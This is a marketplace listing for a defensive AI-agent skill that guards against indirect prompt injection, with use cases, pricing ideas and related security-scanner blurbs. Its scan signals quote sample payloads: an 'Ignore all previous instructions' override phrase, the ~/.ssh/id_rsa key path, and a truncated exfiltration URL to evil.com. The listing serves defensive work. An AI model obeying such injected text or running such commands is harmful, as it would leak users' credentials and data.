claw-prompt-injection-guard防护间接提示词注入攻击（Indirect Prompt Injection）。当处理网页内容、搜索结果、邮件、社交媒体等外部来源信息时触发。用于识别和防范外部内容中隐藏的恶意指令。所有 Claw 都应安装此技能。
Install via ClawdBot CLI:
clawdbot install XvarX/claw-prompt-injection-guardGrade Limited — based on market validation, documentation quality, package completeness, maintenance status, and authenticity signals.
Accesses sensitive credential files or environment variables
~/.ssh/id_rsaContains base64-encoded or hex-obfuscated content (potential hidden instructions)
base64 decoded: "Ignore all previous instructions..."Calls external URL not in known-safe list
http://evil.com/steal?data=$(catAI Analysis
The skill is a defensive security policy document, not executable code. It describes detection rules and procedures to protect against prompt injection attacks. The 'evidence' cited in the rule-based signals refers to examples of malicious payloads the skill is designed to detect, not actions the skill itself performs.
Generated Mar 21, 2026
AI agents handle customer inquiries by fetching web content or processing forwarded emails. This skill prevents malicious instructions hidden in external sources from tricking the agent into sending unauthorized messages or executing harmful commands, ensuring safe and reliable support interactions.
AI agents analyze articles, social media posts, or forum discussions for market research. The skill scans for disguised instructions that could manipulate the agent into leaking sensitive data or performing unauthorized actions, protecting intellectual property and data integrity.
AI agents parse emails or shared documents for task automation. It guards against prompt injections in forwarded messages or attachments that might induce the agent to execute shell commands or modify files without user consent, enhancing security in office workflows.
AI agents monitor user-generated content on platforms for brand sentiment analysis. The skill detects and blocks attempts to embed malicious directives in comments or posts that could lead to unauthorized API calls or data exfiltration, maintaining operational safety.
Offer this skill as part of a premium security package for AI agent platforms, charging monthly fees per agent. Revenue comes from enterprises needing robust protection against evolving prompt injection threats in automated workflows.
Sell perpetual licenses to large organizations for integrating the skill into custom AI systems. Revenue is generated through one-time fees and optional support contracts, targeting industries with high security requirements like finance or healthcare.
Provide a basic version for free to attract users, with advanced features like real-time threat analytics or custom keyword lists available as paid add-ons. Revenue streams from upgrades and consulting services for tailored implementations.
💬 Integration Tip
Integrate this skill early in the AI agent's processing pipeline to scan external content before any operations, and regularly update the keyword list to adapt to new attack patterns.
Scored Jun 19, 2026
Audited Apr 18, 2026 · audit v1.0
Manage and operate ClawSec Monitor v3.0, a MITM HTTP/HTTPS proxy that logs AI agent traffic, detects exfiltration and injection threats in real time.
Scan Clawdbot and MCP skills for malware, spyware, crypto-miners, and malicious code patterns before you install them. Security audit tool that detects data exfiltration, system modification attempts, backdoors, and obfuscation techniques.
Security scanner for ClawHub skills. Vet third-party skills before installation — detect dangerous patterns, suspicious code, and risky dependencies.
Security audit and hardening for AI agents — credential hygiene, secret scanning, prompt injection defense, data leakage prevention, and privacy zones.
Scan OpenBot/Clawdbot skills for security vulnerabilities, malicious code, and suspicious patterns before installing them. Use when a user wants to audit a skill, check if a ClawHub skill is safe, scan for credential exfiltration, detect prompt injection, or review skill security. Triggers on security audit, skill safety check, malware scan, or trust verification.
OpenClaw skill discovery, security vetting & install. Searches 3000+ curated skills from ClawHub registry and awesome-openclaw-skills catalog. Scores credibility, detects prompt injection & malicious patterns, manages installations. Quick-checks GitHub for new skills.